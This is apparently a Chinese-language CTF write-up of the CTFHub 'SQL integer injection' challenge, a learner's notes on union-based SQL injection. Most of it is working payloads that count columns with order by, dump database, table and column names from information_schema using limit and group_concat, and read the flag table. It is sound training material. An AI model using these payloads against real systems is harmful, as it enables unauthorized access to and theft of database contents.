2025.1.15——假期回归训练,从sql注入开始|一、SQL整数型注入

第一阶段(2025.1.15-2025.1.27)

题目来源:CTFHub技能树。

"磨刀不误砍柴工"

所有题目的相同步骤:①整理已知信息;②联系相关信息;③用所学知识判断题型;④解题

题目一:SQL整数型注入

step 1:整理已知信息

已知本题为SQL整数型注入,故不需要进行提醒判断。

题目特点:不需要用引号进行闭合,可用联合注入查询、order by语句查询列数、需要爆数据库名、表名、列名、具体数据

step 2:查询列数,以便可以使用union select(前提:前后列数必须一致)注入

sql 复制代码
1 order by 3 #
sql 复制代码
1 order by 2 #

可得共2个字段

step 3:进行联合注入,并查询回显点,并爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

可得两个数据库名均为sqli

注:and 1=2 的作用是为了使前面的 select * from news where id=1这个查询条件不成立,直接使得后面的union操作能够正常执行

step 4:爆表名

错误示范:1 and 1=2 union select table_name from information_schema.tables where table_schema=sqli #

错误原因:sqli是字符串,需要加单引号

↓正确payload①------缺陷在于只会回显处第一个表的表名,若要爆出所有表名,需要用到limit m,n(m表示偏移量,从0开始;n表示要返回的行数)

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' #

爆第一个表名,用limit 0,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 0,1 #

爆第二个表名,用limit 1,1

sql 复制代码
1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='sqli' limit 1,1 #

payload②------用group_concat()一次爆出所有名称

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

step 5:爆列名------形如爆表名

payload①------此处只有一个列名

sql 复制代码
1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='sqli' and table_name='flag'#

payload②------group_concat()

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag'#

step 6:爆具体数据

payload如下

sql 复制代码
1 and 1=2 union select 1,flag from sqli.flag

注:这里1,flag的作用是前后两个select语句的字段保持一致,所以1,不能去掉

相关推荐
emma羊羊27 分钟前
【AI技术安全】
网络·人工智能·安全
31087487633 分钟前
0005.C/C++学习笔记5
c语言·c++·学习
ruxshui35 分钟前
Python多线程环境下连接对象的线程安全管理规范
开发语言·数据库·python·sql
Mr_Xuhhh40 分钟前
MySQL数据表操作全解析:从创建到管理
数据库·sql·oracle
缘友一世1 小时前
张量并行和流水线并行原理深入理解与思考
学习·llm·pp·tp
楼田莉子1 小时前
C++现代特性学习:C++14
开发语言·c++·学习·visual studio
阳光九叶草LXGZXJ1 小时前
达梦数据库-学习-50-分区表指定分区清理空洞率(交换分区方式)
linux·运维·数据库·sql·学习
Apple_羊先森1 小时前
ORACLE数据库巡检SQL脚本--4、检查锁阻塞
数据库·sql·oracle
慎独4131 小时前
重置学习系统:唤醒孩子的“双引擎”学习力
学习
近津薪荼2 小时前
优选算法——双指针专题7(单调性)
c++·学习·算法